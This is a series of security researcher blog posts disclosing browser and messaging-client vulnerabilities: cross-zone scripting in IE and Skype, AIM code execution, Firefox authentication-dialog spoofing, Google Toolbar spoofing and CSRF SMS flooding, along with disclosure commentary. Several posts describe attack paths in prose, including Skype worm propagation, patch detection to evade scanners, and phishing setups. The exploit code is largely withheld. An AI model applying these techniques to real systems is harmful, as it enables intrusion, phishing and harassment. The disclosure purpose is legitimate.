Summary

Internet Explorer is prone to a Cross-Zone Scripting vulnerability in its “Print Table of Links” feature. This feature allows users to add to a printed web page an appendix which contains a table of all the links in that webpage.

An attacker can easily add a specially crafted link to a webpage (e.g. at his own website, comments in blogs, social networks, Wikipedia, etc.), so whenever a user will print this webpage with this feature enabled, the attacker will be able to run arbitrary code on the user’s machine (i.e. in order to take control over the machine).

Affected version

Internet Explorer 7.0 and 8.0b on a fully patched Windows XP.

Windows Vista with UAC enabled is partially affected (Information Leakage only).

Earlier versions of Internet Explorer may also be affected.

Technical details

Whenever a user prints a page, Internet Explorer uses a local resource script which generates an new HTML to be printed. This HTML consists of the following elements: Header, webpage body, Footer, and if enabled, also the table of links in the webpage.

While the script takes only the text within the link’s inner data, it does not validate the URL of links, and add it to the HTML as it is. This allows to inject a script that will be executed when the new HTML will be generated.

As I said in a previous post, most of the local resources in Internet Explorer are now running in Internet Zone. Unfortunately, the printing local resource script is running in Local Machine Zone, which means that any injected script can execute arbitrary code on the user’s machine.

Proof of Concept

The following is an example of a URL which executes Windows Calculator:

 

I removed the proof-of-concept of the 0day treasure hunt. A live proof-of-concept can be found at milw0rm.

Solution / Suggestion

I’ve contacted Microsoft last Tuesday. Their last response was that they are looking at an appropriate fix.

Until a patch is available, I suggest not to use the “print table of links” feature when printing a webpage.

[And the winner is: George the Greek]
Today we are celebrating, here in Israel, 60 years of being an independent country. As part of the celebration, I’m releasing a new 0day vulnerability.
One of our customs in Independence day is to play a “treasure hunt” game. In this game there is a treasure hidden somewhere in our beautiful country, and we get mysterious clues that help us find this treasure by traveling to many great sites all over Israel.
In the spirit of this day, I’ve decided not to release full details about this vulnerability yet, but rather play a little “treasure hunt” game.
Somewhere in my blog, I embedded a proof-of-concept code which exploits this 0day vulnerability. The following are some clues that will help you find this 0day treasure:
  1) IE7.0 and IE8.0b users will get pwned.
  2) An interaction with the sploit is needed.
  3) There’s no need to find the post. It’s everywhere.
  4) 404 is the way to go.
  5) Acidus was right! Local resources is the key. 
  6) What else can you do with an anchor? Think out of the box, literally.
  7) Charles Babbage is probably turning in his grave. 
  8) The following screenshot should really help you find the source of the treasure:
    
9) Put the videos together to find the treasure.
        

Every day or two I will add a new clue to this list, in a hope that by next Wednesday someone will eventually find the treasure
Next Wednesday I will release the full technical details of this 0day vulnerability and the proof-of-concept code.
Until then, feel free to comment your findings. The first person who will post a comment with the proof-of-concept code and details on how to use it to exploit the vulnerability will be declared as the winner.
Now, I don’t have any laptop prize to give the winner. But, beside the credit for being the first to find a 0day treasure, I’m willing to offer the winner a free entrance to the IsraCON security conference that will take place in Israel this summer.

Happy hunting!

[UPDATE 08-May-2008] Some of you guys out there are already in the right direction, some are not. I've added 2 more clues.
[UPDATE 10-May-2008] You are getting closer. Pay attention to clue number 6.
[UPDATE 11-May-2008] Yet another clue added.
[UPDATE 12-May-2008] I've added a new screenshot clue. 
[UPDATE 13-May-2008] Last clue added (3 videos). The game will end tomorrow evening (Israel time). You still have enough time to find the treasure.
[UPDATE 14-May-2008 02:30] And we have a winner! details soon...
[UPDATE 14-May-2008 16:15] The winner is: George the Greek. Congratulations! Full technical details of the vulnerability are available here.

I hate when things like this happen. You are too eager to succeed in something, and it eventually fails because of pure bad luck. This exactly what happened to me in CanSecWest's PWN2OWN contest.

I've heard that the second PWN2OWN contest will be held at CanSecWest, a week before the conference began. I couldn't attend the conference this year, but I did want to participate. So, I looked at my vulns arsenal, and picked one that looked pretty neat, was easy to exploit, and met the contest terms: the vulnerable application is AIM (a popular software client), exploiting the vulnerability allows remote code execution, and the neat thing is that the exploiting the vulnerability requires Man-In-The-Middle, which can be easily achieved by using the cool AirPwn tool.

The next thing was to look for an on-site trusted person, with enough skills to build the attack. Fortunately, I've been able to contact Steve Manzuik, who teamed up with AirPwn creator, Bryan Burns, to create the exploit.

Now that we were ready, the only thing that we waited for was the first day of the contest to arrive. Unfortunately, and this is where the bad luck begins, a day before the contest began Tipping Point have decided to change the rules. So now, instead of being able to participate in the contest from the first day, we had to wait for others to try and exploit the machine for a whole two days, before we can start.

Day 3 came. Vista machine was still up, MacBook air already gone, and my friends, Steve and Bryan, are waiting in line for the contest. One place before them in the line was the winner of last year's contest, Shane Macaulay. Rumors were that he had a working exploit. 10 minutes passed, nothing. 20 minutes, not a single word. After 30 minutes (the official limit for each turn), the word was out that there were some kind of hardware problems. Eventually, after few hours (??), with some help from his friends, Shane was able to get his Flash exploit working. Kudos to Shane, Alexander and Derek for winning!

 

Now I left with one little problem. What should I do with the AIM vulnerability. The way I see it, I have three choices:

1) Leave it as it is - Only Steve, Bryan and me will know about it, until eventually someone else will find it.

2) "Responsibly" disclose it - Send all the information to AOL, wait for a fix to be delivered, and then publish the technical stuff.

3) Full Disclosure - Inform AOL, and in parallel publicly disclose all the technical information.

 

I'm interested in what you think the best choice is. Please comment or send me an email with your thoughts. New ideas are also welcomed.

A patch for the cross-zone scripting vulnerability in Skype is still not available. As I mentioned in my first advisory, Skype renders HTML pages in several dialogs.

One of these dialogs is used by a feature called "SkypeFind". This feature, available from version 3.1, allows Skype users promote and review businesses around the world. Sadly, it could also be used by attackers to own Skype users' machines.

Within this feature any Skype user can add a new business and review an existing business. Skype does a great job sanitizing the data provided in the business item entry, and also the text provided in the user's reviews.

Unfortunately, they forgot to sanitize the full name of the reviewers. So, an attacker can inject a malicious script in his Skype's Full Name, and whenever a victim will view a business which was reviewed by the attacker, in the SkypeFind dialog, the malicious script will be executed in an unlocked Local Zone!

Fortunately for the attacker, it is also possible to open the dialog in a specific business details page from the browser, using the skype: URI handler (e.g. skype:?skypefind ). This means that it is possible for the attacker to create a worm!

The attacker however, must authorize the victim to view the attacker's full name, but this can be easily achieved in the following two ways (thanks pdp for the second suggestion!) :

1. Interactive bot:
   • The victim enters a malicious website which automatically calls the attacker via Skype. This can be done by using the skype: URI handler (e.g. skype:attacker?call)
   • The attacker's bot intercept the call, and cancels it. Now that the bot has the victim's username, it uses the User.IsAuthorize API call to allow the victim to view the attacker's full name.
   • After a few seconds, the malicious website opens the malicious SkypeFind dialog, and the victim gets owned!
2. Passive bot:
   • A passive bot is searching the Skype network for active users.
   • For each user the bot uses the User.IsAuthorize API call to allow the victim to view the attacker's full name.
   • When a victim who was authorized visits a malicious website, the malicious SkypeFind dialog will be opened, and the victim will be owned!

I've contacted Skype security team, and they have provided a quick fix for the full name issue.
Unfortunately, this is not enough! I'm worried that there are probably other ways to inject a script to this dialog.
I strongly advised Skype to disable this feature until they provide a patch for the cross-zone scripting vulnerability. For no good reason, they have decided to decline my advice.

Therefore, until a patch is available, my suggestions to Skype users are:

• Disable the SkypeFind tab. Goto "View" -> "Tab and panels", and uncheck "SkypeFind Tab".
• Disable the skype: URI handler. This can be done by a registry change, and I recommend it only for power users.
• Other users who don't want to mess with the registry should uninstall Skype. Having Skype installed without using it will not solve the problem, as the skype: URI handler will automatically open Skype and login!

Zull (Guy Mizrahi) has created a great demonstration video. A better quality video is available here.

 

[More updates at the end of the post]
As of last Saturday, Skype have disabled adding videos from Dailymotion. They have announced it in their security bulletin.

While this "workaround" was good enough to mitigate the proof-of-concept I provided, it cannot be considered a real workaround that will help secure Skype users, until a patch is available.

For an unknown reason, Skype have decided to leave adding Metacafe videos through its' "Add video to mood" and "Add video to chat" features. So basically, injecting a script to Metacafe video's metadata (Title, Description, etc.) should be - again - enough to execute code from remote.

So, I've tried a simple script tag injection to the metadata of a video, and failed because Metacafe are stripping HTML tags from the metadata. I did that by submitting a video through the Metacafe website.

But then I saw a little link on the upper right of the website, suggesting to download "Metacafe pro", which is the software version of the Metacafe website. So, I did, and surprise, surprise... Submitting a video with HTML and script tags through the "Metacafe pro" application does not filter the tags!

After few tweaks (Thanks Golan!) I was able to create a fully working proof-of-concept exploit.

The more troubling issue here is that this PoC can actually be triggered by simply visiting a website, or clicking on a link from your Instant Messaging application. Which basically means that this vulnerability is now wormable!

This is why I've decided not to publicly disclose the proof-of-concept, nor to show a video that might disclose too much information.

I've sent the PoC to Skype's security team, and have been told that they are going to release a patch for this vulnerability ASAP. Furthermore, they have now disabled the Metacafe tab too - which means, no more adding videos in Skype until a patch is released...

 

[UPDATE 23-JAN-2008 00:55 GMT+2:00] For no good reason, Skype have decided to bring back the Metacafe videos feature. The proof-of-concept still works. So, as this is a wormable vulnerability, my advice for you guys is to downgrade your Skype to a version that does not support adding videos (before v3.5.0), or even better - Uninstall Skype, and use an alternative client!

[UPDATE 23-JAN-2008 11:30 GMT+2:00] After talking with the Skype security team, it seems like bringing Metacafe back was probably a malfunction, and surely was not on purpose. They are doing their best to disable it again. I for one can say that on some of my computers Metacafe is now disabled. Let's hope they'll disable it everywhere, at-least until a patch will arrive.

Skype uses Internet Explorer web control within the application to render internal and external HTML pages. Examples for this pages are the "Send money via PayPal" dialog, or "Add video to chat" dialog.

Recently, I've discovered that Skype is running this web control in Local Zone. The more problematic issue here is that Skype runs the HTML pages is a not-locked Local Zone mode, the same as AOL's AIM does in the chat message window.

This means, that if it is possible to inject a script to any of those pages, it is possible to execute code on the user's machine. pdp suggested that AirPwn can be used for that, and I can't do more than agree with him.

Today, Miroslav Lučinskij posted to Full-Disclosure that it is possible to inject a script to the "Add video to chat" dialog via the Title field of the DailyMotion movie information. He called this a Cross-Site Scripting vulnerability, but it is actually a Cross-Zone Scripting vulnerability, because the script runs in IE's Local Zone instead of the Internet Zone.
This basically means that an attacker can now upload a movie, set a kewl popular keyword (e.g. "Paris Hilton"), and own any user that will search for a video with those keywords through Skype.

I've tested this with the latest version of Skype - v3.6.0.244. Prior versions may also be affected.

Until the Skype guys fix this vulnerability, I recommend that you stop searching for videos in Skype.

I've created a proof-of-concept which executes the calculator when searching for "calc test" in Skype's "Add video to chat" dialog.
The following video demonstrates the proof-of-concept:

 

After reading the great post, I must say, "Hacking the Interwebs" by the GNUCitizen team, I thought that it would be a waste not to try and find a way of attacking UPnP without the Flash requirement.

Basically, what needs to be achieved in order to attack the device through UPnP over HTTP is to:

1. Be able to send a "POST" request to the device's IP address.
2. Be able to set the "SOAPAction" header of the "POST" request.

Now, because we can't set headers in a simple HTML form submission, we can instead use XmlHttpRequest. But,  becuase the device's IP address is of-course different from the attacker's web site IP address, the same origin policy comes into play.

If we'll disregard that the device might have XSS vulnerabilities, another way of breaking the same origin policy is DNS pinning.

I was about to start and investigate whether XmlHttpRequest and DNS pinning can be used to attack UPnP enabled devices, just to find out that someone else has already done this research.
And this was done almost a year ago!

Yet another reason to shout: DISABLE UPnP NOW!

Evasive attacks are everywhere. Malicious attackers are using methods like blocking multiple visits to an exploit, or serving specific exploits per browser, in order to minimize the detection of the attack by the security vendors.

Another way to evade an attack is patch detection. Why try to exploit a machine which has a patch for a vulnerability already installed?

This method can be easily implemented using known local file enumeration attacks. For example, in Internet Explorer, using the res protocol handler, it is possible to detect local files by loading local image resources, or by using timing attacks.

Most installed patches are saving an un-installation setup program. The path to this program is usually: "\WINDOWS\$NtUninstallKBXXX$\spuninst\spuninst.exe", where XXX is the knowledge base number of the patch.

So, for example, if an attacker would like to know if he should serve an exploit for the MDAC vulnerability, he can detect if the client has the MS06-014 patch installed. According to the MS bulletin, 911562 is the knowledge base number of this patch, so he can now check if the file "\WINDOWS\$NtUninstallKB911562$\spuninst\spuninst.exe" exists. If this file does not exist, he will then serve the exploit. If the patch does exist, he will not serve the exploit, and by that he will minimize the probability of being detected.

There are already proof-of-concepts for local file enumerations out there, so I see no reason for providing another one. As I've already mentioned, the PoC's can be easily modified to implement patch detection.

 

P.S. - Patch detection can also be used for legitimate causes. I encourage you all to download Secunia's PSI (Personal Software Inspector), and check whether you have an unpatched software installed on your machine. Although, now that there is a way to detect patches from remote, we might see an online version of PSI soon :)

Due to some questions I received regarding my latest post on the dialog spoofing vulnerability in Firefox, I've decided to put a list of frequently asked questions.

 

Q: Does this vulnerability affect Mozilla Firefox 3?

A: Yes. It does affect the latest available beta of Firefox 3.

 

Q: Is there an open ticket for this issue at Mozilla's Bugzilla?

A: According to Window Snyder's blog post, this bug can be tracked here: https://bugzilla.mozilla.org/show_bug.cgi?id=244273

 

Q: Why should Firefox sanitize single-quotes and spaces? Mozilla follows the standards, and the RFC says the Realm value is a quoted-string.

A: Nowhere in my advisory I said that Mozilla does not follow the standards in this case. But, because of the way they implement dialog, it is possible to create fake double quotes, and by using multiple spaces it is possible to fake a new line. I also did not suggest to sanitize the single-quotes and spaces as a solution. In my opinion, a better solution would be to display the server name before the realm value, or even in a different field or in the title of the dialog.

 

Q: Is there a proof-of-concept available for this vulnerability?

A: While I did not provide a proof-of-concept for this issue, it is very easy to follow the instructions on my advisory to create one. In fact, Alex of bitsploit.de has already created a good demonstration on his blog.

 

Q: How did you discover this vulnerability?

A: I've found a similar vulnerability in an early version of Firefox (back when it was still called Firebird). Lately, Zull's forums (Hebrew) were attacked by a basic authentication phishing attempt. This attack included just the server name of Zull (hacking.org.il) in the realm value. I then remembered my old finding, and tested it in the new version of Firefox, just to find out that there is a much easier way to exploit it.

 

Q: How do other browsers display the Basic Authentication page?

A: The guys at Kriptopolis blog have published some screenshots of Internet Explorer, Firefox, Opera and Konqueror displaying a spoofed Basic Authentication dialog.

 

Q: I'm using (Fill in product name)-Anti-Phishing tool. Am I protected against this vulnerability?

A: While anti-phishing tools may help in some cases, most of them will block the phishing  page only after the page is displayed, or will just display the currently visited domain in a toolbar. This means that some of the anti-phishing tools may not be able to protect you against this vulnerability, as the phishing attempt will occur before a page in the attacker's domain will be displayed.

 

Q: Are there any other attack vectors?

A: I'm sure that there are other attack vectors which can be used to attack this vulnerability. For example, Alex of bitsploit.de has found that if you have the FasterFox extension installed, an attacker can just put a link on a trusted page. FasterFox will then use its' pre-fetching feature to try and cache the attacker's link which will trigger the spoofed basic authentication dialog.

 

I hope that these answers make things more clear. If you have any other question, don't hesitate to comment or just send me an email.

Summary

Mozilla Firefox allows spoofing the information presented in the basic authentication dialog box. This can allow an attacker to conduct phishing attacks, by tricking the user to believe that the authentication dialog box is from a trusted website.

 

Affected versions

Mozilla Firefox v2.0.0.11.
Prior versions and other Mozilla products may also be affected.

 

Technical details

Mozilla Firefox displays an authentication dialog, whenever the visited web server returns 401 status code, and the "WWW-Authenticate" header. In order to specify basic authentication, the "WWW-Authenticate" header should have the value [Basic realm="XXX"] (without the brackets). The Realm value, which in this case is XXX, will be displayed in the authentication dialog window.

While Firefox does not display the characters in the "WWW-Authenticate" header Realm value after the last double-quotes ("), it fails to sanitize single-quotes (') and spaces. This makes it possible for an attacker to create a specially crafted Realm value which will look as if the authentication dialog came from a trusted web site.

 

 

There are at-least two possible attack vectors:

1. An attacker creates a web page with a link to a trusted website (e.g. Bank, PayPal, Webmail, etc.). When the victim clicks on the link, the trusted web page will be opened in a new window, and a script will be executed to redirect the new opened window to the attacker's web server, which will then return the specially crafted basic authentication response.
2. An attacker embeds an image (pointing to the attacker's web server, which will return the specially crafted basic authentication response) to:
   1. A mail which will be sent to a webmail user.
   2. RSS feed which will be consumed by a web RSS reader.
   3. A forum/blog/social network page.

 

A video which demonstrates the first attack vector can be found on YouTube. A better quality video can be download from here.

A video of a real live attack on a forum, which used basic authentication but without exploiting the vulnerability, can be found on Zull's weblog (Hebrew).

 

Suggestion / Workaround

Until Mozilla fixes this vulnerability, I recommend not to provide username and password to web sites which show this dialog.

[UPDATE:] Due to some questions, I've put a list of frequently asked questions.

 

Summary

Google Toolbar allows spoofing the information presented in the dialog which is being displayed when adding a new Google Toolbar button. This can allow an attacker to convince the users that his button comes from a trusted domain. This button can then be used to download malicious files or conduct phishing attacks (e.g. show a login form of a bank).

Affected versions

• Google Toolbar 5 beta for Internet Explorer
• Google Toolbar 4 for Internet Explorer
• Google Toolbar 4 for Firefox (partially)

Technical details

Google Toolbar provides a nice API for creating toolbar buttons. Basically, the button information is stored in an XML file.

In order to add a button, the toolbar user must click on a specially crafted link which refers to the button's XML file. When the user click on the link, a dialog appears with all the following details: The domain where the button is being downloaded from, the name, description and icon of the button and some "privacy considerations", which basically shows the domains which the button interacts with (sends/receive information).

By creating a specially crafted URLs it is possible for an attacker to fake the domains displayed in the "Downloaded from" and "Privacy considerations" sections. This specially crafted URL can be created by simply adding an open redirector (e.g. in google.com - http://www.google.com/local_url?q=) before the URL.

An attacker can use this vulnerability to gain the victim's trust to add and use the button, and by that the victim will trust the files that the button offer, or enter private information. In the new beta version of the toolbar it is also possible to alert the user every few seconds to click on the button.

In the Firefox version of Google Toolbar it is only possible to fake the "Privacy considerations" section.

Proof-of-Concept

A proof-of-concept which adds a "critical update" button can be found here. Use it at your own risk, though it shouldn't do anything but suggest you to download gupdate.exe from my site, which is basically the windows calculator.

Workaround / Suggestion

Google have acknowledged this and are already working on a fix.
Until a fixed version is provided, I suggest to avoid adding new buttons to the toolbar.

No. I'm not going to show you how to use Cross-Site Request Forgery (CSRF) in order to attack mobile phones while using a mobile phone to surf the web. Instead, I'm going to talk about how CSRF vulnerabilities can be used to cause denial-of-service attacks against mobile phones, by flooding the phone with SMS and service messages.

Mobile phone service providers in Israel, and throughout the world, provide a web interface to send SMS messages. Fortunately, they limit the SMS sending web interface to 20 messages per day, and they also require the user to login to their web site in order to send an SMS.

Unfortunately, at-least when referring to the Israeli providers, they also give attackers a way to send endless SMS and service messages without any kind of authentication and with a simple HTTP request. While this method doesn't allow to specify the message of the SMS, it does allow the attacker to specify the targeted phone number.

All Israeli mobile phone providers (Orange, Cellcom, and Pelephone) place at-least one advertisement on their website, which require their customer to enter their mobile phone number in order to get a specific service, a coupon, or a password for an online service. This ad (mostly written in Flash) simply sends an HTTP request to the mobile provider web servers which then sends the SMS message to the given phone number. Again, this web service is not limited and the messages can be sent to any number over and over again.

With this CSRF vulnerability, an attacker can send multiple requests to the server in order to make the use of the mobile phone not practical. This is because the victim will get so annoyed (sometimes even without a way to make a phone call) that he will probably just shut the phone down. The attacker can also place an IFRAME or image on a website (e.g. MySpace profile, a forum post, etc.) which will be used to mimic the ad's HTTP request. So, on every visit of this page, the victim will get an SMS. On high volume website pages (e.g. MySpace or Facebook profiles), this will cause a lot of requests to be sent to the mobile provider web service and the victim will again get too much messages which will make its mobile phone useless.

Other mobile phone providers around the world might also have advertisements which allow sending SMS without any limitations. My suggestion to the mobile phone providers is to limit the ads SMS sending web service to one SMS per phone number per day.

 

P.S. the GNUCitizen team has published a great explanation on CSRF and how it can be exploited.

Sometimes it is nice to see old vulnerabilities come back from the dead.

This time I'm referring to a vulnerability in Internet Explorer that was discovered almost 3 years ago by cyber_flash. The vulnerability allows an attacker to bypass the security download warning dialog, and display a regular save file dialog, by manipulating IE into displaying executable file (a file with .exe extension) as a regular html file.

While this vulnerability was partially patched by Microsoft in IE7, it was still remained unpactched in IE6 SP2.

Few days ago, this vulnerability came back to life when laurent gaffi posted in Bugtraq that it is possible to download and open an executable file in an application associated to a different extension, using a very similar specially crafted URL that was used in cyber_flash's proof-of-concept.

I've been able to use this old vulnerability to automate an attack vector that was found by pdp from GNUCitizen. In his proof-of-concept, pdp exploits a vulnerability by opening a manually downloaded PDF file in Adobe Reader. When I tried to open the PoC file inside IE7 it didn't exploit the vulnerability. This is probably because the Adobe Reader ActiveX control is running in a different way, in terms of security, than the external application. Therefore, I used the old IE vulnerability in order to automatically download and open the PoC PDF file in the external Adobe Reader application. The exploit then executed the Windows calculator.

The following is a video which demonstrates the difference between opening the proof-of-concept PDF file in the browser (embedded) and in the external application.

You can also download this video (better quality) from here.

Finally, AOL have released the new version (v6.5) of AIM.

I've tested this version against the critical vulnerability I've found. While it does fix the specific attack vector of the vulnerability, it still does not utilize the Local Zone lockdown. This means that if someone will found another way to inject a script to a message, it will still be possible to execute arbitrary code from remote.

I've decided to postpone the release of my proof-of-concept, at least until AOL will fix their client properly. This is mainly because it will probably not be so hard to manipulate the PoC and find another way to inject a script, and there's a short way from this to creating a massive IM worm.

Unfortunately, there are no release notes to indicate that there was a security fix in the new version.

You can find more info about the vulnerability at Core's advisory and Ryan's security blog.

 

AOL's AIM is one of the most used IM clients in the world. According to Neilsen/Netratings, AOL had around 53 million IM subscribers in 2006.

A week ago, I've found a critical vulnerability in the latest version of AIM, which could allow an attacker to execute code from remote by simply sending a message to the victim.

Just before reporting the vulnerability to AOL, I've encountered a blog post by Ryan Naraine which describes a vulnerability in AIM that was found by "Shell". After reading the advisory, I understood that this vulnerability is a bit different from the one that I found, as it is in the Notification window which pops-up only when you are not in the middle of conversation with the attacker.

So, I've decided to report the vulnerability to AOL, and provided full description and Proof-of-Concepts. I have yet to receive any response from AOL.

Today, Core Labs have published an advisory which describes the general case of my findings. In the advisory they also claim that AOL has patched the vulnerability, so the latest beta version (v6.5.3.12) of AIM is not vulnerable anymore.

I've tested the PoC which I provided to AOL against the "patched" version. While the latest beta version seems to filter my PoC, I've been able to change my code a little and successfully exploited the vulnerability again.

The problem with AOL's patch is that they filter specific tags and attributes, instead of fixing the main cause of the vulnerability, which is locking down the local zone of their client's web-browser control.

Core Labs describes a workaround in their advisory which messes up with the registry. I think that the common people should avoid this workaround, and stop using AIM until a real fix from AOL will arrive.

I also encourage AOL security staff to contact me as soon as possible. I am willing to provide them with all the new information. I will not contact AOL again, as I'm still waiting for AOL to respond my first email.

[UPDATE:] I've just got an email from AOL which confirms that the "patched" beta version is still vulnerable:

---

Hi,

We apologize, for not initially responding to your email.  We have already fixed out client on these issues and the client is scheduled for a mid-October release.  This fix is not yet in the current AIM beta client.

Thanks
AOL Product Vulnerability Team

---

Again, try to avoid using AIM at-least until the mid-October release.

Performing XAS (Cross Application Scripting) attacks automatically (read "no user interaction") is very easy, as I showed before in my "shutting down skype" proof-of-concept.

But, what if you are using a limited web environment, where you can't use iframes or scripts to automate your pwning? Several limited web environments (e.g. blogger.com blog system) does not allow using iframes or script, but they do allow embedding QuickTime movies.

Few days ago, pdp found that it is possible to use QuickTime .qtl files to execute code from remote, when the default browser is Firefox. This is a variant of the good old MOAB #3 and pdp's own MP3 backdooring exploit. It uses a simple "-chrome" command-line switch injection.

As this is a Firefox only exploit, I looked for ways to do the same in Internet Explorer. I found that it is also possible to perform all other noted XAS attacks using QuickTime.

So now, if you are in a limited web environment, you can just embed a .qtl file and conduct an automated XAS attack against the visitor of the web page.

The following is the QuickTime .qtl version of the "shutting down skype" PoC:

An online proof-of-concept in a limited web environment - blogger.com - can be found here.

Fortunately, MySpace were smart enough to finally remove all QuickTime movies from their pages. I hope others will follow them.

 

We've just passed Microsoft's black Tuesday. Microsoft have patched two vulnerabilities that I've reported in the Windows Vista Sidebar gadgets.

The first vulnerability was in the Contacts gadget. Because I was supposed to present this vulnerability at Defcon as Finjan's representative, I cannot discuss it. But, you can find information about this vulnerability at Finjan's MCRC blog post.

The second vulnerability was in the RSS Feeds gadget. I've reported this vulnerability to Microsoft through iDefense VCP program. iDefenst have recently published their own advisory for this vulnerability.

Microsoft have decided to rate these vulnerabilities with "Important" severity. This is because that according to Microsoft's rating system, they rate a vulerability as "Critical" only when the exploitation of the vulnerability could allow a propagation of a worm without user interaction.

Not rating the RSS gadget vulnerability as "Critical"  might make sense in the old era of "Web 1.0". But on today's "Web 2.0" era,  an Internet Worm can be easily propagated by exploiting this vulnerability.

Think about the following scenario:
1) User Joe is subscribed to digg.com's "Upcoming Stories" RSS feed.
2) The attacker adds a malicious item to digg.com. When the vulnerable RSS gadget fetches the malicious item, it infects Joe's computer with a malicious Trojan worm.
3) Joe is a major blogger at myblog.com. The malicious trojan worm identifies that Joe has a myblog.com cookie, and automatically adds a malicious post to his blog.
4) User Juliet reads Joe's blog regularly, as she's one of the thousands people who subscribe to Joe's blog RSS feed. Juliet also gets infected by the Trojan worm, when her vulnerable RSS gadget automatically fetches the malicious post.
5) Juliet is a known writer at FamousPeople.com magazine. She uses a standard online content management system to publish her stories. Again, the malicious Trojan worm identifies the content management system, and automatically post a fake story about Paris Hilton, which of-course includes a malicious payload.
6) User Dan is a fan of Paris Hilton. But, instead of using the FamousPeople.com RSS feed, he subscribe to Google News RSS feed with all Paris Hilton related news. When Google News spiders FamousPeople.com it automatically adds the malicious story to the RSS feed, and Dan gets infected too.
7) For Dan, the malicious worm sends a malicious payload as an email to all his contacts which uses webmail (e.g. GMail). Why? You guessed it right. The webmail systems also support RSS feeds. So, now all of Dan's contacts who fetch their mail as RSS feed and use a vulnerable RSS gadget are in danger...
8) Etc. etc. etc.

As you can see from this scenario, when it comes to a vulnerability in an RSS reader, an internet worm becomes very realistic.
Fortunately, this vulnerability has already been fixed by MS. Unfortunately, it took them almost 6 month to fix one line of code in a non-core component.
If you are using Windows Vista, I encourage you to update your machine as soon as possible, or stop using the Windows Vista Sidebar.

For those of you who develop gadgets, I recommend to read Microsoft's "Inspect Your Gadget" document. Although it is not perfect, this document should give you some hints on how to develop a more secure gadget.

 

August has arrived, and it's time for Black Hat and Defcon. So, here I am. Hello to you all from Vegas.

If you are here for Defcon, please make sure you don't miss my presentation on widgets and gadgets insecurity.

We are going to demo malicious proof of concept and vulnerabilities in several widgets. From web widgets in iGoogle and Live.com, through Yahoo widgets, to Vista sidebar's gadgets.

If you are going to watch this presentation, please send your comments/flames here.

Thanks :)

 

Today, Thor exposed a way to execute code from remote, if you have both IE and Firefox installed on your machine.

This is done by cross application scripting. He used an iframe in IE which refers to a protocol handler that was registered by Firefox, in order to open the latter browser and inject a script in an elevated privileges (chrome) mode.

Now the question is, whose fault is it? Is it an Internet Explorer problem or a Firefox problem?

Well, past experience shows that this is not the first time IE suffered from cross application scripting. Inge Henriksen demonstrated a way to attach arbitrary files to outlook messages using IE and cross application scripting.

Thor himself found a remote code execution vulnerability in Safari for Windows using cross application scripting.

Lately, I've noticed that it is possible to shutdown Skype from remote, in the same way:

An online PoC can be found here (be careful, clicking this link will also close all your opened Skype chat sessions!)

Back to the IE/FF problem. So, who should to fix this issue? I think both.

Mozilla should fix the way they register the "FirefoxURL:" protocol handler, and Microsoft should sanitize the parameters they pass to external applications.

What do you think?

The phishing hole in Internet Explorer 7 that I've disclosed 3 months ago was fixed by Microsoft's June security update.

The following was the vulnerable code in ieframe.dll resource file:

The patch changed the refresh javascript URL to call to a new clickRefresh() function, as follows:

The clickRefresh() function then validates that the address after the # sign is considered safe for navigation, before it replaces the location with this address.

Although this change closes the XSS vulnerability, I still don't understand why Microsoft consider local file access URLs (file://) as safe for navigation.. I hope this doesn't open another hole.

In other news, a new phishing hole in Safari for Windows was disclosed by Robert Swiecki in a Full Disclosure post. He also included a proof of concept which works on the new patched version (v3.0.1) of Safari.

My suggestion remains to wait for the final release before you consider using this "secured from day one" browser.

 

Few hours ago, Apple released a new minor version (v3.0.1 Beta) of Safari for Windows.

From Apple's advisory:

CVE-ID:  CVE-2007-3185
Available for:  Windows XP or Vista
Impact:  Visiting a malicious website may lead to an unexpected
application termination or arbitrary code execution
Description:  An out-of-bounds memory read issue in Safari 3 Public
Beta for Windows may lead to an unexpected application termination or
arbitrary code execution when visiting a malicious website.  This
issue does not affect Mac OS X systems.

---

I've tested the new version by running Hamachi again. Apparently, this version fixes the vulnerability.

This patch also fixes the command injection vulnerability that was found by Thor.

Apple decided not to credit any of the security researchers in their advisory, and I don't think this is a smart move.

 

Apple has just released a public beta of its Safari browser for Windows.

On the download page Apple write: "Apple engineers designed Safari to be secure from day one".

 

So, I've decided to take it for a test drive, and ran Hamachi. I wasn't surprised to get a nice crash few minutes later...

A first glance at the debugger showed me that this memory corruption might be exploitable. Although, I'll have to dig more to be sure of that.

Again, this is just a beta version.. But, don't you hate those pathetic claims?

[UPDATE]: David Maynor and Thor Larholm have found several more security vulnerabilities in Safari for Windows. I guess we can now call it "Day zero"...

Version 3.0 of the exploits framework, Metasploit, is now officially released:

"...The Metasploit Framework ("Metasploit") is a development platform for creating security tools and exploits. Version 3.0 contains 177 exploits, 104 payloads, 17 encoders, and 3 nop modules. Additionally, 30 auxiliary modules are included that perform a wide range of tasks, including host discovery, protocol fuzzing, and denial of service testing..."

Now that Metasploit 3.0 is out, you can expect a first alpha version of VoMM very soon.

One of the comments for my post on the phishing hole in IE7 was that the anti-phishing tool of the browser will detect scams exploiting this vulnerability, because it will check the external javascript reference (e.g. In my PoC - http://www.raffon.net/research/ms/ie/navcancl/phish.js). I’m not an IE7 anti-phishing  internals guru, so I’ve decided to test it.
I’ve searched for a list of live phishing sites and found millersmiles.co.uk anti-phishing service. From the list I chose http://pqpal.com/cgi-bin/index.htm, which is a paypal phishing page.  IE7’s anti-phishing tool reports this as a phishing website.
To be able to use this phishing URL in my test, I’ve created a local DNS entry for pqpal.com and set it to my local web server.
To verify that the anti-phishing tool actually works with this local DNS entry, I’ve loaded the phishing URL in IE7, and got the phishing warning page again.
Next, I’ve created index.htm file under cgi-bin directory on my local web server. This file simply contains: alert(“Hello from phishing site!”);
For the proof-of-concept, I’ve created a HTML file with a reference to the external script - http://pqpal.com/cgi-bin/index.htm. When I’ve loaded this HTML file in IE7,  I got the “Hello from phishing site!” alert box, and no indication that this comes from a phishing URL.
This means that IE7 anti-phishing tool DOES NOT block pages with external scripts that points to a flagged URL. So, unless Microsoft will flag the navcancl.htm local resource as a phishing page, I see no other way for IE7 anti-phishing tool to detect phishing scams exploiting this vulnerability.
Again, until this vulnerability is fixed by Microsoft, do not trust any link in the “Navigation Canceled” page.

The proof-of-concept HTML file can be found here.

Summary
Internet Explorer 7.0 is vulnerable to cross-site scripting in one of its local resources. In combination with a design flaw in this specific local resource it is possible for an attacker to easily conduct phishing attacks against IE7 users.

Affected versions
• Windows Vista - Internet Explorer 7.0
• Windows XP - Internet Explorer 7.0

Technical Details
The navcancl.htm local resource is used by the browser when for some reason a navigation to a specific page is canceled.
